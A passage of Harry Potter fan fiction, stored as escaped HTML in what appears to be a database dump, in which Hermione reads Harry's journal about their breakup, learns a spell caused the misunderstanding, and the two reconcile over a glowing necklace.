her, blah, blah, blah. Something did surprise me though. I actually broke free from Serine&#8217;s grip. It felt a lot like breaking free of a curse or something and my effort seemed to be working. I think the need to get to Hermione was fueling me. It felt a lot like breaking out of a binding rope, slowly loosening until I broke free. I sprinted after Hermione, leaving Serine way behind.</p>\n<p>I caught up with Hermione and found her outside by the lake, curled into a ball. She was whimpering nonstop. I can still hear her sobs&#8230; We went, of course, in the &#8220;talking and explaining&#8221; mode.</p>\n<p>	I tried to explain to her, saying that I wasn&#8217;t my fault but she wouldn&#8217;t listen or accept an explanation. She did catch me one time, and a second time really had it! She was saying that I wanted to cheat on her and I said that I would never cheat on her and it was all a big misunderstanding. She did get me stuck at one point, she asked why I didn&#8217;t get away from Serine when she was all over me. If course, I didn&#8217;t answer her. If I told her that I couldn&#8217;t get away, she would&#8217;ve probably died of disbelief. We went back and forth, arguing constantly, to a point were I swear I would&#8217;ve slapped some sense into her. She cried when I raised my voice at her, louder than I&#8217;ve ever raised it before to her, or to anyone in that matter. I felt so bad ever raising my voice to her. But what can I say? It was her fault I was yelling at her. If maybe she listened, then maybe I wouldn&#8217;t be yelling.</p>\n<p>	I told her as truthfully as I could that I was sorry. To my surprise, she really didn&#8217;t believe me. I went to my last resort: I asked her to look into my eyes. I watched her as her brown eyes examined my eyes carefully. Surprisingly to the millionth power, she said that she didn&#8217;t see a ounce of truth in them. I couldn&#8217;t believe it! There was never a time where I felt so sorry in my life! In desperation, I asked her to look again. Same examining look in her eyes&#8230; same answer I got from her. I can still feel the tears running down my face as she&#8230; called off the relationship between us. Yes, she did break up with me. If I lived, after jumping off the highest building ever, I think it wouldn&#8217;t match the pain I felt after Hermione broke up with me&#8230; She told me to go&#8230;so I did&#8230; I went. It really was a lot longer than that, I just don&#8217;t want to relive it. I&#8217;m sure you get the idea.</p>\n<p>	I retreated to the boys dormitories to think about what went down. I have never cried so much in my entire life. I felt like such a baby. Why didn&#8217;t Hermione see the truth in my eyes? I think it was because I actually almost gave in to Serine. I probably had &#8220;guilty&#8221; written all over my eyes. To make things worse, it&#8217;s two days before Hermione&#8217;s birthday. Two days where we were supposed to make love. Because of a special curse Hermione cast upon herself I had to wait for 2 solid years for her 17th birthday and it had to end 2 days before I could take action. How pathetic is that?</p>\n<p>	Ron had shown up and saw me crying like a baby. Of course, he asked what was wrong and I, of course, told him. He couldn&#8217;t believe it himself. But the nerve of that guy to even ask if I was joking! My eyes were blood red, I had tears running down my face, and I was sobbing like someone had died and he asked if I was joking!? Luckily, I was way to weak from crying to do anything, or else Ron might just be in the hospital wing right now. Adelle came in to join us; probably hearing my cries as well. I told her everything I told Ron. The difference was that she believed me a lot more than Ron did, accepting that I couldn&#8217;t run from Serine. Ron wouldn&#8217;t give it up.</p>\n<p>	I went to a last resort to prove myself. I asked Adelle to sit and I told her not to move. I walked to Ron and cast a Petrificus Totalus spell on him, making him as stiff as a board. I whispered sexual comments to Ron about Adelle and taunted him, but only so that he could hear me. I could almost feel the punches that were ready to fly because Ron was so mad. Of course he couldn&#8217;t because he was petrified. It was quite funny actually&#8230; </p>\n<p>	I set Ron free and proved my point to him. &#8220;That&#8217;s exactly what it felt like Ron!&#8221; He did ask, why I didn&#8217;t tell Hermione that Serine cast a spell on me. It was because I had no idea what she had on me!</p>\n<p>	Ron, Adelle and I talked a little more before I told them I needed time to myself. They left and I was left alone thinking about what my future would become. Even after talking about it with friends, I still felt&#8230; incomplete. This is where the journal comes in. Hermione gave me this book in 5th year, before we went out and it lay buried in my trunk for about 2 years. I give her credit really; she seems to always know what can make you feel better. I&#8217;m glad she gave this to me and I finally have a good use for it. After writing in this, I feel so much better. I&#8217;m hoping that this is what&#8217;ll keep me sane in some distressed times.</p>\n\n<p>Signed,</p>\n<p>Harry Potter</p>\n</i>\n<p>&nbsp;</p>\n<p>Hermione blinked a couple of times before all of the words had registered into her head. To think, Harry <i>did </i>just begin to use the book. She couldn&#8217;t believe that Harry could write with such authority.</p>\n\n<p>Many questions had been racing through her head and many of them were answered, assuming that Harry spoke the truth in the journal. So that&#8217;s what their special little kiss was called to him! She did consider to herself that that certain kiss was special, but she never talked to him about it. They just&#8230; knew. Then came the flirtations with Serine. She was flattered that Harry tried with all his might to escape from her, however, she was not too pleased with him almost giving into her. It was no wonder Harry didn&#8217;t answer her when she asked why he didn&#8217;t get away; Harry didn&#8217;t know what happened exactly either. He was just as confused as she, Ron, and Adelle were. The passage ended with Harry writing his thoughts and feelings into a journal. The first passage was very long, taking about 4 pages, from the time they went out, to the time they broke up. Why didn&#8217;t Harry ever write this much on a Transfiguration essay?</p>\n\n<p>Questions still remained unanswered though. Why was it that she didn&#8217;t find the truth in Harry&#8217;s eyes like she did countless times before? Harry wouldn&#8217;t say that he was telling the truth when he really wasn&#8217;t. It just isn&#8217;t him&#8230;</p>\n\n<p>Hermione felt really anxious after reading the first passage. She <i>did</i> promise herself that she was going to read one part and that was it, but the tension and mood were too high to pass on an opportunity like this. She took a deep breath, and her fingers fumbled nervously as she turned the page. </p>\n\n<p>***</p>\n\n<p>Harry had just finished building his snowman. There was nothing too special about it, just an ordinary snowman, complete with black rocks for eyes, an &#8220;Accio&#8221;ed carrot for a nose, and an old winter hat. He built him right in the notorious spot that Harry had come to know as.</p>\n\n<p>&#8220;There,&#8221; he sighed, as if he just had the roughest game of Quidditch, &#8220;done.&#8221; He sat down next to the snowman and looked out into the frozen lake.</p>\n\n<p>&#8220;Ahhh, it&#8217;s such a beautiful morning isn&#8217;t it?&#8221; said Harry, in a way of expecting the snowman to answer. &#8220;Wonder how the giant squid is doing in that frozen lake?&#8221;</p>\n\n<p>***</p>\n\n<p>Hermione looked at a new passage in Harry&#8217;s journal. It was much shorter than the first, but her curiosity was greater than when she read the first one. She made no hesitation to read:</p>\n<i>\n<p>&nbsp;</p>\n<p>Dear Journal,</p>\n\n<p>	I had a talk with Hermione. (Surprising isn&#8217;t it?) I thought it would be way longer than a few hours after she broke up with me. Of course, I wasn&#8217;t complaining. The sooner I talked to her, the sooner that I may have a chance of feeling better right?</p>\n<p>Out of all the places to take me, she had to take me to the spot where she dumped me. That made the sickness in my stomach come back. As if it would be like a total effect on me or something. We both agreed that it was going to be different, now that we weren&#8217;t going out any more. And we both agreed that we could never forget all that happened between us. So, we concluded that we were going to be friends again. The platonic relationship we probably had since Ron and I saved her from that troll. I have no problem with that. It&#8217;s just going to be hard you know, no more kisses, probably not as much hugs, no fooling around, no more staying up late, no more late night kissing sessions, the list goes on and on. But it&#8217;s not going to be exactly the same&#8230; </p>\n<p>	As things were going good and smoothly, Hermione had to mess everything up. She assumed that I left her for Serine. What&#8217;d I tell her about assuming!? It makes an ass out of you and me! And it sure as hell did! Even when I told her directly that I didn&#8217;t have any feelings at all toward Serine, she still doubted me! I hated being insulted like that from her.</p>\n<p>	If that was bad, Adelle had to make me feel worse. She asked me if I really did love Hermione and not to just see what was she like in bed! Ok, first off, who waits 2 years to have someone in bed? Some sicko would have already left to find someone else that&#8217;s easier. Second, she saw how I was with her in school. If I paid as much attention in class as much as I did to Hermione&#8230; then I&#8217;d be a genius! I had never been so insulted before in my life! However, Adelle and I did clear her question about my faithfulness to Hermione, so there&#8217;s no bad vibes between us.</p>\n\n<p>Signed,</p>\n<p>Harry Potter</p>\n</i>\n<p>&nbsp;</p>\n<p>Tears had slowly rolled down Hermione&#8217;s face as she read this passage. First, she had to read and relive one of the hardest ordeals in her life. It wasn&#8217;t that she didn&#8217;t love Harry anymore, it was that she thought Harry didn&#8217;t love her. From what she was reading, she was dead wrong. Second, she felt bad and stupid for assuming that Harry had left her for Serine. Her hands did seem to have a mind of its own as they turned the page and onto the next passage.</p>\n<i>\n<p>&nbsp;</p>\n<p>Dear Journal,</p>\n<p>	</p>\n<p>	Well&#8230; the day is finally here: Hermione&#8217;s birthday. I know it sounds like that I&#8217;m not excited, but really I am. You&#8217;re probably thinking I hate this day because today was the day we were supposed to have sex. Ina way, you&#8217;re right. But I don&#8217;t want that to get to me. Today is the day that Hermione was born, for if about 9 months ago her mother and father didn&#8217;t conceive, I wouldn&#8217;t know the sweet and admirable Hermione that I know today (I&#8217;ll have to thank Mr. and Mrs. Granger one day&#8230;)</p>\n<p>	Yesterday at breakfast, a Hufflepuff girl came up to us and asked Hermione if we were still going out. I was really anxious to hear her answer, even though I knew what the answer was. I was stunned by the look on Hermione&#8217;s face when she was asked, like she didn&#8217;t want to say the truth to her. More so, she hesitated to answer. I don&#8217;t blame her though, I wouldn&#8217;t want to answer something like that in front of Hermione either. </p>\n<p>I saw Hermione wide awake this morning and I went ahead and gave her the gift. No, not the gift that I was supposed to give her, instead I gave her un-melting chocolates and a rose. Nothing too big, but I hope it still showed that I care. From the look on her face, she loved it and gave me a kiss on the cheek in return (a friendly one I might add). It felt so good to receive it because it was the first time in a long time that I felt the softness of her lips. Looks like I&#8217;ll be saving the gift for that special someone if she comes along on day. But I seriously doubt that.</p>\n<p>	Hermione and I talked for awhile before she said the one thing that felt like a dagger pierce my heart and twist, spreading the wound unmercifully. Hermione has found solace in another man. Well, she didn&#8217;t say it directly, but indirectly she did. &#8220;I think someone is hitting on me.&#8221; is what she said, if I remember correctly. The look on her face was priceless, the same look I saw when I looked at her in class. She told me he was in her Arithmancy class and his name is Xavier Blake. I haven&#8217;t met the guy, but if Hermione likes him, he really must be something. I tried so hard not to cry in front of her. She had gotten over me so fast; I expected it to be longer than that. This was one thing that was inevitable because it was bound to happen one day.</p>\n<p>	I told Ron about it and he couldn&#8217;t believe it. He thinks that unless Hermione actually says that she likes him, then she doesn&#8217;t until then. But that&#8217;s just the contrast of the way we think. I go by looks and feelings, Ron goes by word and proof.</p>\n<p>That night, Ron and I surprised her with a birthday cake. We ate it like little children. I swear, since Hermione and I were together, we hardly had time to spend, just the three of us. Looks like we may end up making up for it though.</p>\n<p>	Ron left for bed, leaving me and Hermione alone. He just won&#8217;t quit, even though I think I already have. Hermione asked what I was feeling, after a few after the breakup. I told her what I told the Hufflepuff girl, &#8220;My heart is still sore, but I&#8217;ll manage&#8221;. I even told her that I cry myself to sleep sometimes. She told me that crying was sweet and she loves it when guys show emotion; probably what Xavier is doing to her now.</p>\n<p>	She said that she wanted to hang a bit after I told her that she better get to bed; again, probably a late night sneaking out with Xavier. The main event of the night is when she asked for a good night kiss. I thought about the deep meaning of her offer and I almost gave her a real kiss. You could say that she led me on, but instead, I kissed her on the cheek. Is it just me, or is she being obnoxious? </p>\n\n<p>Signed,</p>\n<p>Harry Potter</p>\n</i>\n<p>&nbsp;</p>\n<p>Hermione couldn&#8217;t help but shed a few more tears from this passage. There was something about the way Harry wrote. It was like he could capture a certain moment in time and retell it perfectly. </p>\n\n<p>More questions raced through Hermione&#8217;s head. The &#8220;gift&#8221; Harry had given her, even though it was really sweet of him, wasn&#8217;t really the gift that he intended on giving her. What was it that he was <i>supposed</i> to give? </p>\n\n<p>It hurt her a bit that Harry assumed himself that she had a crush on Xavier. Still, it was a bit funny that he thought they did such things as late night &#8220;meetings&#8221;. It also pained her to feel the suffering Harry was going through. She had looked at him everyday since the breakup and he started from a mess and gradually looked to be quite&#8230; ok. Maybe she would have to see his eyes again, just to make sure. She didn&#8217;t even think about the consequences as she turned the page to the next passage:</p>\n<i>\n<p>&nbsp;</p>\n<p>Dear Journal,</p>\n\n<p>	Even though Christmas is supposed to be a time of celebration and happiness, I felt the total opposite. Ron, being the prat that he is, left me and Hermione alone for the winter holidays. I was actually considering giving Hermione the gift I was supposed to give her. Instead, I gave her some cheap gift that she probably tossed.</p>\n<p>	A few days later, I woke up because of a dream that has been bothering me for days. Someone or something kept telling me to just give the gift up to Hermione. I got dressed quickly, stuffed the black box into my robes, and hurried downstairs. I almost bumped, or rather ran through, Sir Nicholas. He said that he saw someone with Hermione outside. Immediately, my stomach lurched.</p>\n<p>	After popping though the main doors to get outside, what I saw basically confirmed my assumptions. The exact spot where I confessed my love for Hermione, a guy that I&#8217;ve never seen before was leaning on the tree, apparently defending himself from Hermione because she was throwing snowballs at him. He was a few inches taller than Hermione with his hair combed back. I automatically suggested that the guy Hermione was with was Xavier Blake.</p>\n<p>	I watched the two of them sadly as they threw snowballs back and forth at each other. The both of them, especially Hermione, looked very&#8230; happy. I think I never saw Hermione have that much fun since she had broke up with me. I think I feel the tears starting to build up again and I realized that now was not a good time to give a gift to Hermione. I retreated slowly, hoping that she wouldn&#8217;t see me. To my luck, she did because she called my name.</p>\n<p>	She raced toward me, with her mate following close behind her. She noticed the box in my hand and asked what it was. I quickly stuffed it into my robes and stated that it was nothing. Luckily, she didn&#8217;t mention about it again. She introduced me to the guy standing behind her. Like what I thought, his name was Xavier Blake and he seemed like a really nice guy. There must be something very special about the guy if Hermione&#8217;s so fond of him.</p>\n<p>	Strangely, she excused Xavier to talk to me privately. I thought about what it would be because it must be important if she had to excuse her boyfriend. On the contrary, it wasn&#8217;t that important at all. She asked if I was dating Serine. As if! As if I would date someone like that! She admitted that there was probably something with Xavier that she hadn&#8217;t felt yet. If my heart could break anymore, it shattered beyond repair. More so, she asked if I ever cheated on her, thinking that I would come out with the &#8220;truth&#8221; since it&#8217;s been awhile since we broke up. Of course, that&#8217;s what I told her, the truth. I didn&#8217;t cheat on her. She, on the other hand, took it as a mere lie, saying that it was hard to believe and with all this bogus bullcrap about how it wasn&#8217;t logical. Of all times, she had to go ahead and bring her brain into all this. If she doesn&#8217;t want to believe me, she doesn&#8217;t have to. I know that I told the truth, and that fits fine with me&#8230; God, I was so pissed that I turned my back on her and stormed out, wishing her and Xavier a happy life&#8230;</p>\n\n<p>Signed,</p>\n<p>Harry Potter</p>\n</i>\n<p>&nbsp;</p>\n<p>Hermione slammed the book shut. Her breathing was sharp and tense. Just reading the last couple of sentences really got her temper up.</p>\n\n<p>&#8220;Damn you Harry!&#8221; she gritted through her teeth. &#8220;Why do you insult me like that? Is it because you like it? Or is it because your mind is too occupied dating Serine?&#8221; Hermione flinched at her last sentence, feeling that it was not&#8230; right. She opened Harry&#8217;s journal and reread the last paragraph until she came up to, &#8220;<i>As if! As if I would date someone like that! She admitted that there was probably something with Xavier that she hadn&#8217;t felt yet. If my heart could break anymore, it shattered beyond repair. More so, she asked if I ever cheated on her, thinking that I would come out with the &#8220;truth&#8221; since it&#8217;s been awhile since we broke up. Of course, that&#8217;s what I told her, the truth. I didn&#8217;t cheat on her.&#8221;</i></p><i>\n</i><p>Hermione felt tears build up n her eyes. Harry had been telling the truth to her all along, she was just too stupid to see it<i>. </i>Harry wasn&#8217;t going out with Serine and he didn&#8217;t cheat on her when they were dating. She sniffled, wiped her eyes and casually went on to the next passage. Hermione noticed that this passage continued from the last one, as if Harry wasn&#8217;t at all done with it. Hermione wondered why.</p>\n<i>\n<p>&nbsp;</p>\n<p>Journal,</p>\n<p>	</p>\n<p>	Sorry, I was so racked up with being angry at Hermione that I didn&#8217;t get a chance to write this piece of information down.</p>\n<p>	Guess who I bumped into as I walked away from Hermione? That&#8217;s right: Serine. I old her to stay away from me because I was already pissed and I didn&#8217;t want her to be a homicide victim. She asked if I was pissed because of Hermione. I responded with a yes. Astonishingly, there was no sexual tension, no flirting, no &#8220;Serine&#8221; stuff. I kept my guard up even more.</p>\n<p>	To another astounding revelation, Serine apologized for what she had done to me before. She said that she was really sorry and the funny thing about it was, she really looked it. She told me that I was about the most faithful and most loyal to any girl she had ever come across and because if that, she respected me even more. Most guys that she went after who already had girlfriends, didn&#8217;t even think about what they were doing and got in bed with Serine immediately; I quote her on that.</p>\n<p>	Then she told me the one thing that was basically bothering me since forever. She told me she cast a resisting spell on me. As unbelievable as that sounded to meat the time, it made sense. I felt &#8220;tied&#8221; down to her and it did feel like some sort of &#8220;magical&#8221; force was behind it. The thing that got to her was that I was so in love with Hermione, so faithful to her, that it was the only thing that could break the spell. Serine explained that the thing that made it so special was that the spell could be used without a wand&#8230; kind of. You cast the spell on yourself and whoever you touch, the spell starts to take place.</p>\n<p>Even though I half forgave her, I made it clear that I never wanted that to happen ever again. Why she ever wanted to break me and Hermione up or whatever her reason was, I may never find out. She offered me a hug and of course, I was skeptical. The hug was innocent though, just a friendly and &#8220;I&#8217;m sorry, hope you forgive me&#8221; hug. Probably a final way of saying she was telling the truth.</p>\n<p>	I need to be getting to bed. I really don&#8217;t want to think about Hermione right now. Maybe a good night sleep will get my mind off her.</p>\n\n<p>Signed,</p>\n<p>Harry Potter</p>\n</i>\n<p>&nbsp;</p>\n<p>Hermione read and reread the passage over and over again, feeling joy and happiness fill her heart. It was so long since she felt so happy, that she almost forgot what it felt like. She found out everything she needed to know: Harry wasn&#8217;t cheating on her when they were going out and she knew why Harry didn&#8217;t back away from Serine. It wasn&#8217;t his fault! He was under the influence of magic.</p>\n\n<p>&#8220;Harry was&#8230;&#8221; she mumbled, &#8220;telling the truth the whole time&#8230; about everything. And I was being such an ass and no seeing it! I knew it was too weird to be true. Harry would never lie to me. Because of me, I shattered his heart, and his heart was innocent the whole time. I&#8217;ll never forgive myself for that&#8230;&#8221; She wiped a tear from under her eye as she turned to the next entry. She noticed that this was the last one that Harry had written:</p>\n<i>\n<p>&nbsp;</p>\n<p>Dear Journal,</p>\n\n<p>	I woke up unusually early this morning because something is constantly bothering me. I&#8217;m thinking that I failed to give the gift to Hermione. Maybe there&#8217;s a reason why I&#8217;m not giving it to her. I slept in the original boy&#8217;s dormitories. I was still kind of upset at Hermione and there was no way that I was looking forward to come face to face with her anytime soon. Anyway, I woke up and walked down to the common room to find none other than, yes you guessed it, Hermione. Only that she was fast asleep on the couch, resting her head on the headrest. Unlike what you may be thinking, the sight of seeing her aggravated me. I thought about what she had said when I turned my back on her: &#8220;Some friend you are!&#8221;. Yeah I would see how great of a friend I was&#8230;</p>\n<p>	I raced into my private dorm and pulled out pictures that I have stashed away. Most of them were of Hermione, posing in various positions and looking very pretty indeed. Still, I had a huge hate for Hermione still. I struggled to pry a candle from its holder, intending on burning the pictures with no remorse. During the struggle, 2 pictures fell out. I casually picked them up and placed them on top of the stack when I noticed the pictures I had dropped.</p>\n<p>	The first one was of Hermione and me. She was irritably leaning forcefully on me with a grin on her face. I had an irritated, yet playful look on my face and gently pushed her a bit. We both laughed together in the picture afterward. The second picture was exactly the same, only I had my arm around her and we both looked like we were blushing, more me than her, as I moved closer to her. Though we weren&#8217;t giving &#8220;teeth&#8221; smiles, it looked&#8230; cute. </p>\n<p>	I went back and forth between the pictures, as if examining them carefully. I remembered exactly when these pictures were taken; in our 5th year, but way before we were going out. Then it hit me! This wasn&#8217;t about romantic relationships anymore. This was about love of friendship, where no one gets left behind, when it&#8217;s strictly platonic. I slapped myself in the head really hard. How could I even think of ruining or ending a relationship with Hermione! Let alone burn pictures of her. Hey, if I can&#8217;t still go out with her, she at least still wants to be my friend and I wanted to throw it away because I was being selfish! How stupid can I get?</p>\n<p>	I walked back to the couch where Hermione was sleeping still. She looked so beautiful sleeping like that, but nonetheless, she looked really uncomfortable in that sleeping position. Hey, I tried being a good boyfriend to her, but that obviously didn&#8217;t work out. The least I can do is be a good friend to her, right? I considered carrying her to her room, but realized that if she woke up, she would probably take it the wrong way and be even more mad at me than she probably already was. Instead, I carefully lay her on the couch and propped her feet up comfortably. I ran upstairs, grabbed a, extra pillow and blanket and tucked her into the couch. I retreated back to the private dorms and this is where I am now.</p>\n<p>	I&#8217;ve decided not to tell Hermione about me tucking her in. Why? For some reason, I can&#8217;t answer that one, I just won&#8217;t, or can&#8217;t. If she asks, well&#8230; I&#8217;m still going to say that I didn&#8217;t and it was probably someone else. I mean, it&#8217;s not that important anyway. Speaking of not telling anything, I&#8217;ve also decided not to tell Hermione about the spell that Serine had cast on me. As dumb and idiotic as that may sound, I think it would be for the best. She hasn&#8217;t brought it up anymore and I don&#8217;t think it&#8217;s a good idea that I do that as well. She may take it as some excuse I just made up to get out of it, plus, I don&#8216;t have any proof except for m y word. I mean, she hasn&#8217;t believed me in anything since we broke up, I don&#8217;t think she&#8217;ll start now just because I happen to have an alibi saying that Serine used powering magic on me. I tell Hermione, she may blow up from taking any more &#8220;lies&#8221; from me. </p>\n<p>	I made my final decision: I am going to be straight-forward friends with Hermione, even though she may not consider me as her friend. I want to go back to how it was before and I hope that she feels the same way. If we so go out again, then that&#8217;s ok. If we don&#8217;t, then that&#8217;s ok too. If it wasn&#8217;t or our friendship, we wouldn&#8217;t have gone out in the first place. We may have been lovers that failed, but I have about 7 years of friendship with Hermione, and I wouldn&#8217;t want to throw that away for anything.</p>\n\n<p>Love you forever Hermione Granger,</p>\n<p>Harry Potter</p>\n</i>\n<p>&nbsp;</p>\n<p>Hermione shut the book for the final time, tears running freely down her face.</p>\n\n'),
	(185, 15, '\n\n<b><p align="CENTER">Chapter 15 - Harry&#8217;s Gift</p>\n</b>\n<p>&nbsp;</p>\n<p>Hermione placed Harry&#8217;s journal back on the coffee table, ran to her room, fell face forward onto her bed and broke down. She had never cried like this in her life. She was getting mixed feelings of guilt, anger, happiness, confusion, stupidity, and joy.</p>\n\n<p>First, she was wrong. For the first time in Hermione Granger&#8217;s life, she was wrong. She was wrong about Harry, how he didn&#8217;t cheat, having no intention of cheating on her, and saying no when she had asked him. She had no feeling in her body. Getting yelled at or blamed for something that one didn&#8217;t do is one thing, but the person who shouts and blames the person takes the hit when they find out that they were wrong in the first place. </p>\n\n<p>Hermione experienced this at full blast. She continued to cry, not thinking about anything except how she couldn&#8217;t be any more sorry to Harry.</p>\n\n<p>After a very long and good cry, she walked back into the little common room and opened Harry&#8217;s journal once again, reading the last passage over, just to confirm it in her brain. She noticed something she hadn&#8217;t the first time: at the bottom-right corner of the page, there was a word written: &#8220;Irrisistol&#8221; followed by a dash and &#8220;Serine&#8217;s spell&#8221;. For the first time, Hermione smiled, knowing exactly what that was. Assuming that all in Harry&#8217;s journal was true, this was the spell that Serine had used on Harry. </p>\n\n<p>&#8220;Maybe&#8230; this&#8217;ll be&#8230; of good use&#8230;&#8221; Hermione sniffed, wiping a last tear from her face and walked back into the Prefect common room. Just then, the door to the secret common room disappeared and Harry walked right in, his robes still with a bit of snowflakes on it.</p>\n\n<p>&#8220;Oh hello Hermione,&#8221; said Harry as he tried to dust the snowflakes away. &#8220;I didn&#8217;t see&#8230;&#8221; but he didn&#8217;t get a chance to finish his sentence because Hermione had given him a weak smile, put her head in her hands and broke down happily into tears. To Harry at that moment, it didn&#8217;t sound like she was crying happily.</p>\n\n<p>&#8220;Hermione, what&#8217;s the matter?&#8221; exclaimed Harry with concern, running over to her and putting both hands on each of her shoulders. She dropped her hands and looked up at him, the same smile still on her face. But before she could answer, Harry withdrew his hands and took a step back; his concerned face replaced with a &#8220;oh&#8230; that&#8217;s right. Why didn&#8216;t I see it before?&#8221; look.</p>\n\n<p>&#8220;Don&#8217;t tell me Hermione,&#8221; started Harry, his voice suddenly feeling weak. &#8220;Tears of happiness huh? Well, I knew that Xavier would&#8217;ve said something sooner or later. So&#8230; where you two going on a first date?&#8221;</p>\n\n<p>Immediately, Hermione&#8217;s face went from happiness to confusion. She eyed Harry in shock, having no idea what he was talking about.</p>\n<p>&#8220;Harry, what on Earth are you going on about now?&#8221; she asked. It sounded a bit harsher that she had intended. Harry looked like Hermione had just slapped him in the face. </p>\n\n<p>&#8220;You&#8217;re right Hermione,&#8221; apologized Harry. &#8220;That&#8217;s none of my business.&#8221; He walked toward the fireplace and squatted in front of it to try and get warm. </p>\n\n<p>&#8220;I guess I&#8217;m just&#8230; well&#8230; a bit surprised that you&#8217;ve moved on quickly and found yourself a nice boyfriend already,&#8221; continued Harry, with his back still toward Hermione. &#8220;Wish I could do that.&#8221; He gazed into the fire briefly before standing up and looking at Hermione again.</p>\n\n<p>&#8220;Hold on Hermione,&#8221; said Harry holding a hand up to her as she was about to speak, &#8220;I want to give you something.&#8221; Hermione stared at him, not sure if she was excited or scared at what he was planning to give her. Harry walked past her and into his room briefly before coming out again with a black box about the size of a wand in his hand.</p>\n\n<p>That&#8217;s the same box Harry had a few days ago, thought Hermione. Harry stood in front of her and took a deep breath, finding out exactly what to say.</p>\n\n<p>&#8220;Look Hermione,&#8221; he started nervously, holding the black box out in front of her, &#8220;I was supposed to give this to you on your 17th birthday. But, due to unexpected events, I couldn&#8217;t.&#8221; She nodded, knowing that the &#8220;unexpected event&#8221; was when she broke up with him, days before her birthday. Harry nodded back at her as if saying that he knew that she understood before continuing.</p>\n\n<p>&#8220;Even though my intent was to give it to you when we were a couple and&#8230; since we are no longer, I&#8230; still want you to have this,&#8221; he said as he handed the black box to her.</p>\n\n<p>She took it from him and with very shaky hands, she opened it slowly. Hermione couldn&#8217;t help but gasp under her breath as she saw its contents. Inside was a thin ruby necklace, with an &#8220;H&#8221; for a pendant about the size of a half dollar. She took it out of the box and examined it delicately like she was handling glass.</p>\n\n<p>&#8220;It&#8217;s yours,&#8221; explained Harry, not looking into Hermione&#8216;s eyes. &#8220;If you want it, keep it. If you don&#8217;t&#8230;&#8221; Harry didn&#8217;t finish his sentence; he gave a very depressing shrug instead.</p>\n\n<p>&#8220;It&#8217;s a Binding Love necklace,&#8221; he explained as Hermione still eyed it, trying not to look at her at all. &#8220;They say that if you give it to the one you truly love and that person loves you back, the necklace is supposed to glow.&#8221; He sadly walked over to one of the couches and sat in it, completely out of sight of Hermione because his eyes were slowly filling tears and he didn&#8217;t want Hermione to see - see how stupid he was and what a weak person he was. He wiped his face dry quickly, hoping that Hermione didn&#8216;t notice.</p>\n\n<p>&#8220;Why don&#8217;t you give it to Xavier?&#8221; asked Harry, trying not to sound to disappointed. &#8220;Maybe you can see what that glow is supposed to look like.&#8221;</p>\n<p>&#8220;Harry&#8230;&#8221; said Hermione softly from behind him.</p>\n\n<p>&#8220;No, go ahead and give it to him. Remember, it&#8217;s not mine anymore so you can do whatever you want with it.&#8221;</p>\n\n<p>&#8220;Harry&#8230;&#8221; she repeated, a little louder than before. &#8220;Look&#8230;&#8221;</p>\n\n<p>He gave one final wipe to his eyes before taking a deep breath, standing up and turning around.</p>\n\n'),
	(185, 16, '\n\n<b><p align="CENTER">Chapter 16 - The Truth</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry&#8217;s mouth dropped to the ground because the sight that he saw was one that he did not expect. Hermione stood before him, smiling and blushing furiously as the necklace Harry had given her was glowing very brightly. Harry walked over to her, squinting his eyes from the blinding light and looking down at the necklace with a quizzical look.</p>\n\n<p>&#8220;Oh gosh,&#8221; Harry said, scratching the back of his head.  &#8220;I&#8217;m terribly sorry Hermione, it&#8217;s broken. I should&#8217;ve known that the guy that sold this to me was ripping me off.&#8221; </p>\n\n<p>Hermione let out a groan of impatience.</p>\n\n<p>&#8220;Harry,&#8221; she said, putting her hand under his chin to make him look into her eyes. Those eyes, thought Hermione, its been so long since I&#8217;ve seen them. They&#8217;ve gotten so much more gorgeous these past few months. Hermione swallowed before continuing. &#8220;What did you tell me this necklace is supposed to do?&#8221;</p>\n\n<p>&#8220;What?&#8221; he asked, feeling a bit awkward that Hermione was holding his face to make him look at her&#8230; into those eyes&#8230; I miss you so much Hermione, he thought.</p>\n\n<p>&#8220;What&#8217;s this necklace supposed to do?&#8221; she repeated. &#8220;You said something about giving it to&#8230;&#8221;</p>\n\n<p>&#8220;The person you love,&#8221; finished Harry. &#8220;And if the person loves you back, then its supposed to glow.&#8221;</p>\n\n<p>&#8220;Well?&#8221; said Hermione, motioning toward the item around her neck. &#8220;Don&#8217;t you see anything Harry?&#8221;</p>\n\n<p>&#8220;Yeah I know it&#8217;s glowing Hermione,&#8221; he answered, thinking that she thought he was stupid.  Not only was she already with someone else, but now she had to rub in the fact that Harry couldn&#8217;t have been anymore cheap by giving her an out of order gift. &#8220;But its broken.&#8221;</p>\n\n<p>&#8220;What makes you say that?&#8221; she asked, waiting anxiously for an answer.</p>\n\n<p>&#8220;Well&#8230;&#8221; muttered Harry, suddenly feeling very uncomfortable and scratching is head again, &#8220;its not supposed to be glowing.&#8221;</p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p>&#8220;Because&#8230;&#8221; Harry muttered something that wasn&#8217;t very audible.</p>\n\n<p>&#8220;What was that Harry?&#8221;</p>\n<p>&#8220;Because&#8230; you&#8230; don&#8217;t&#8230; love me&#8230; anymore,&#8221; he replied in a very soft whisper. &#8220;It&#8217;s only supposed to glow when you give it to the one you love and he or she loves you back.&#8221;  There was a long silence before Hermione spoke.</p>\n\n<p>&#8220;The necklace isn&#8217;t broken Harry,&#8221; she explained, stepping closer to him. &#8220;I still love you Harry, and the glow on this necklace proves it.&#8221; Harry felt a shiver go down his spine as his ears registered what Hermione had said. His face was filled with mixed feelings of bewilderment and happiness. Hermione knew this, because Harry&#8217;s emerald green eyes never lied.</p>\n\n<p>&#8220;But what about&#8230;&#8221;</p>\n\n<p>&#8220;Never mind that Harry.&#8221; Hermione interrupted by putting a finger to his lips. &#8220;Forget the past.  Forget about the cheating. Forget Serine, forget Xavier, forget the fights, forget the misunderstandings,&#8230; and forget that I ever broke up with you&#8230;&#8221;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;I was the foolish and stupid one Harry,&#8221; she admitted. &#8220;I was stupid for ever thinking that you would ever cheat on me. But now I know the truth, and I&#8217;m sorry.&#8221; Harry was feeling happier by the minute, much happier than he had ever felt in the past few months. But there were still some things that didn&#8217;t make sense.</p>\n\n<p>&#8220;Why the change of mind all of a sudden? I mean, <i>what</i> made you change your mind?&#8221; he asked.</p>\n\n<p>&#8220;Well,&#8221; started Hermione innocently, putting both her hands on his shoulders and rubbing them subtlety, &#8220;how does&#8230; &#8216;Irrisistol!&#8217; sound?&#8221;  It took Harry a few seconds before he realized what she had done. His eyebrows dropped and suddenly, he felt very disgusted.</p>\n\n<p>&#8220;You read my journal!?&#8221; he shouted, his voice echoing the secret common 